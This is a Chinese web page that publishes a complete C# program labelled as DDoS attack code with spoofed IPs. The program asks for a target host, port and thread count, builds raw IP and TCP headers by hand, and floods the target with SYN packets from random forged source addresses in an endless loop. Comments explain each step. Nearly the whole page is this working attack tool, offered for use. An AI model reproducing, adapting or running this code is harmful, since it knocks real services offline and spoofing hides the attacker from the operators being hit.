隐藏

C# DDOS攻击代码(伪IP)

发布:2022/8/19 14:24:53作者:管理员 来源:本站 浏览次数:1011

//在工程属性中设置“允许不安全代码”为true


using System;

using System.Net;

using System.Net.Sockets;

using System.Threading;

//需要的命名空间不用解释了吧

namespace syn

{

   public struct ipHeader

   {

       public byte ip_verlen; //4位首部长度+4位IP版本号

       public byte ip_tos; //8位服务类型TOS

       public ushort ip_totallength; //16位数据包总长度(字节)

       public ushort ip_id; //16位标识

       public ushort ip_offset; //3位标志位

       public byte ip_ttl; //8位生存时间 TTL

       public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)

       public ushort ip_checksum; //16位IP首部校验和

       public uint ip_srcaddr; //32位源IP地址

       public uint ip_destaddr; //32位目的IP地址

   }

   public struct psdHeader

   {

       public uint saddr;  //源地址

       public uint daddr;  //目的地址

       public byte mbz;

       public byte ptcl;     //协议类型

       public ushort tcpl;  //TCP长度

   }

   public struct tcpHeader

   {

       public ushort th_sport;    //16位源端口

       public ushort th_dport;    //16位目的端口

       public int th_seq;   //32位序列号

       public uint th_ack;   //32位确认号

       public byte th_lenres;  //4位首部长度/6位保留字

       public byte th_flag;   //6位标志位

       public ushort th_win;     //16位窗口大小

       public ushort th_sum;     //16位校验和

       public ushort th_urp;     //16位紧急数据偏移量

   }

   //这3个是ip首部tcp伪首部tcp首部的定义。

   public class syn

   {

       private uint ip;

       private ushort port;

       private EndPoint ep;

       private Random rand;

       private Socket sock;

       private ipHeader iph;

       private psdHeader psh;

       private tcpHeader tch;

       public UInt16 checksum(UInt16[] buffer, int size)

       {

           Int32 cksum = 0;

           int counter;

           counter = 0;


           while (size > 0)

           {

               UInt16 val = buffer[counter];


               cksum += Convert.ToInt32(buffer[counter]);

               counter += 1;

               size -= 1;

           }


           cksum = (cksum >> 16) + (cksum & 0xffff);

           cksum += (cksum >> 16);

           return (UInt16)(~cksum);

       }

       //这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样

       public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)

       {

           ip = _ip;

           port = _port;

           ep = _ep;

           rand = _rand;

           ipHeader iph = new ipHeader();

           psh = new psdHeader();

           tch = new tcpHeader();

           sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);

           sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);

           //这2个挺重要,必须这样才可以自己提供ip头

       }

       //传参数的多线程需要用到代构造函数的对象。

       static void Main(string[] args)

       {

           Console.WriteLine("1、输入攻击ip或域名");

           try

           {

               IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());

               uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序

               Console.WriteLine("2、输入攻击端口");

               ushort port = ushort.Parse(Console.ReadLine());

               IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);

               byte[] bt = BitConverter.GetBytes(port);

               Array.Reverse(bt);

               port = BitConverter.ToUInt16(bt, 0);

               //要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样

               Console.WriteLine("3、输入攻击线程,最多50个");

               int xiancheng = Int32.Parse(Console.ReadLine());

               if (xiancheng < 1 || xiancheng > 50)

               {

                   Console.WriteLine("必须在1到50之间");

                   return;

               }

               Random rand = new Random();

               Thread[] t = new Thread[xiancheng];

               syn[] sy = new syn[xiancheng];

               for (int i = 0; i < xiancheng; i++)

               {

                   sy[i] = new syn(ip, port, ep, rand);

                   t[i] = new Thread(new ThreadStart(sy[i].synFS));

                   t[i].Start();

               }

               //一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊

           }

           catch

           {

               Console.WriteLine("有错误,请检查是不是连在网上,或者输入是否都正确");

               return;

           }



       }

       unsafe public void synFS()

       {

           iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));

           //ipv4,20字节ip头,这个固定就是69

           iph.ip_tos = 0;

           //这个0就行了

           iph.ip_totallength = 0x2800;

           //这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800

           iph.ip_id = 0x9B18;

           //这个我是拦截ie发送。直接添上来了

           iph.ip_offset = 0x40;

           //这个也是拦截ie的

           iph.ip_ttl = 64;

           //也是拦截ie的,也可以是128什么的。

           iph.ip_protocol = 6;

           //6就是tcp协议

           iph.ip_checksum = UInt16.Parse("0");

           //没计算之前都写0

           iph.ip_destaddr = ip;

           //ip头的目标地址就是要攻击的地址,上面传过来的。

           psh.daddr = iph.ip_destaddr;

           //伪tcp首部用于校验的,上面是目的地址,和ip的那个一样。

           psh.mbz = 0;

           //这个据说0就行

           psh.ptcl = 6;

           //6是tcp协议

           psh.tcpl = 0x1400;

           //tcp首部的大小,20字节,应该是0014,还是字节序原因成了1400

           tch.th_dport = port;

           //攻击端口号,上面传过来的

           tch.th_ack = 0;

           //第一次发送所以没有服务器返回的序列号,为0

           tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0));

           //tcp长度

           tch.th_flag = 2;

           //2就是syn

           tch.th_win = ushort.Parse("16614");

           //拦截ie的

           tch.th_sum = UInt16.Parse("0");

           //没计算之前都为0

           tch.th_urp = UInt16.Parse("0");

           //这个连ip都是0,新的攻击方法有改这个值的

           while (true)

           {

               iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address);

               psh.saddr = iph.ip_srcaddr;

               ushort duankou = Convert.ToUInt16(rand.Next(1, 65535));

               byte[] bt = BitConverter.GetBytes(duankou);

               Array.Reverse(bt);

               tch.th_sport = BitConverter.ToUInt16(bt, 0);

               tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));

               //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序


               iph.ip_checksum = 0;

               tch.th_sum = 0;

               //因为循环中,所以每次必须把这2个已有数的清0才可计算

               byte[] psh_buf = new byte[sizeof(psdHeader)];

               Int32 index = 0;

               index = pshto(psh, psh_buf, sizeof(psdHeader));

               if (index == -1)

               {

                   Console.WriteLine("构造tcp伪首部错误");

                   return;

               }

               index = 0;

               byte[] tch_buf = new byte[sizeof(tcpHeader)];

               index = tchto(tch, tch_buf, sizeof(tcpHeader));

               if (index == -1)

               {

                   Console.WriteLine("构造tcp首部错误1");

                   return;

               }

               index = 0;

               byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];

               Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);

               index += psh_buf.Length;

               Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);

               index += tch_buf.Length;

               tch.th_sum = chec(tcphe, index);

               index = 0;

               index = tchto(tch, tch_buf, sizeof(tcpHeader));

               if (index == -1)

               {

                   Console.WriteLine("构造tcp首部错误2");

                   return;

               }

               index = 0;

               byte[] ip_buf = new byte[sizeof(ipHeader)];

               index = ipto(iph, ip_buf, sizeof(ipHeader));

               if (index == -1)

               {

                   Console.WriteLine("构造ip首部错误1");

                   return;

               }

               index = 0;

               byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];

               Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);

               index += ip_buf.Length;

               Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);

               index += tch_buf.Length;

               iph.ip_checksum = chec(iptcp, index);

               index = 0;

               index = ipto(iph, ip_buf, sizeof(tcpHeader));

               if (index == -1)

               {

                   Console.WriteLine("构造ip首部错误2");

                   return;

               }

               index = 0;

               Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);

               index += ip_buf.Length;

               Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);

               index += tch_buf.Length;

               if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))

               {

                   Console.WriteLine("构造iptcp报文错误");

                   return;

               }

               //上面这一大堆东西就是计算校验和的方法了,方法是

               //1、建立一个字节数组,前面放tcp伪首部后面放tcp首部,然后计算,确定最终tcp部分的校验和

               //2、把确定了校验和地tcp首部重新生成字节数组,这是就不加tcp伪首部了,所以工20字节

               //3、建40字节字节数组,前面放ip首部,后面放tcp首部,校验,确定最终ip部分校验和

               //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中,就是要发送的buffer[]了,就是这么麻烦

               try

               {


                   sock.SendTo(iptcp, ep);

                   //构造发送字节数组总是麻烦,发送就简单了,socket.sendto就可以了


               }

               catch

               {

                   Console.WriteLine("发送错误");

                   return;

               }



           }


       }

       public UInt16 chec(byte[] buffer, int size)

       {

           Double double_length = Convert.ToDouble(size);

           Double dtemp = Math.Ceiling(double_length / 2);

           int cksum_buffer_length = Convert.ToInt32(dtemp);

           UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];

           int icmp_header_buffer_index = 0;

           for (int i = 0; i < cksum_buffer_length; i++)

           {

               cksum_buffer[i] =

                BitConverter.ToUInt16(buffer, icmp_header_buffer_index);

               icmp_header_buffer_index += 2;

           }

           UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);

           return u_cksum;

       }

       //这个是计算校验,把那些类型不一样的全转为16位字节数组用的

       public Int32 ipto(ipHeader iph, byte[] Buffer, int size)

       {

           Int32 rtn = 0;

           int index = 0;

           byte[] b_verlen = new byte[1];

           b_verlen[0] = iph.ip_verlen;

           byte[] b_tos = new byte[1];

           b_tos[0] = iph.ip_tos;

           byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);

           byte[] b_id = BitConverter.GetBytes(iph.ip_id);

           byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);

           byte[] b_ttl = new byte[1];

           b_ttl[0] = iph.ip_ttl;

           byte[] b_protol = new byte[1];

           b_protol[0] = iph.ip_protocol;

           byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);

           byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);

           byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);

           Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);

           index += b_verlen.Length;

           Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);

           index += b_tos.Length;

           Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);

           index += b_totallen.Length;

           Array.Copy(b_id, 0, Buffer, index, b_id.Length);

           index += b_id.Length;

           Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);

           index += b_offset.Length;

           Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);

           index += b_ttl.Length;

           Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);

           index += b_protol.Length;

           Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);

           index += b_checksum.Length;

           Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);

           index += b_srcaddr.Length;

           Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);

           index += b_destaddr.Length;

           if (index != size/* sizeof(IcmpPacket)  */)

           {

               rtn = -1;

               return rtn;

           }


           rtn = index;

           return rtn;


       }

       //这个是把ip部分转为字节数组用的

       public Int32 pshto(psdHeader psh, byte[] buffer, int size)

       {

           Int32 rtn;

           int index = 0;

           byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);

           byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);

           byte[] b_psh_mbz = new byte[1];

           b_psh_mbz[0] = psh.mbz;

           byte[] b_psh_ptcl = new byte[1];

           b_psh_ptcl[0] = psh.ptcl;

           byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);

           Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);

           index += b_psh_saddr.Length;

           Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);

           index += b_psh_daddr.Length;

           Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);

           index += b_psh_mbz.Length;

           Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);

           index += b_psh_ptcl.Length;

           Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);

           index += b_psh_tcpl.Length;

           if (index != size)

           {

               rtn = -1;

               return rtn;

           }

           else

           {

               rtn = index;

               return rtn;

           }


       }

       //这个是把tcp伪首部转为字节数组用的

       public Int32 tchto(tcpHeader tch, byte[] buffer, int size)

       {

           Int32 rtn;

           int index = 0;

           byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);

           byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);

           byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);

           byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);

           byte[] b_tch_lenres = new byte[1];

           b_tch_lenres[0] = tch.th_lenres;

           byte[] b_tch_flag = new byte[1];

           b_tch_flag[0] = tch.th_flag;

           byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);

           byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);

           byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);

           Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);

           index += b_tch_sport.Length;

           Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);

           index += b_tch_dport.Length;

           Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);

           index += b_tch_seq.Length;

           Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);

           index += b_tch_ack.Length;

           Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);

           index += b_tch_lenres.Length;

           Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);

           index += b_tch_flag.Length;

           Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);

           index += b_tch_win.Length;

           Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);

           index += b_tch_sum.Length;

           Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);

           index += b_tch_urp.Length;

           if (index != size)

           {

               rtn = -1;

               return rtn;

           }

           else

           {

               rtn = index;

               return rtn;

           }

       }

       //这个是把tcp部分转为字节数组用的,因为这个要用到2次就不把这个和伪首部放一块了。

   }

}

//最后,本代码校验部分的方法参考了用c#实现ping程序的文章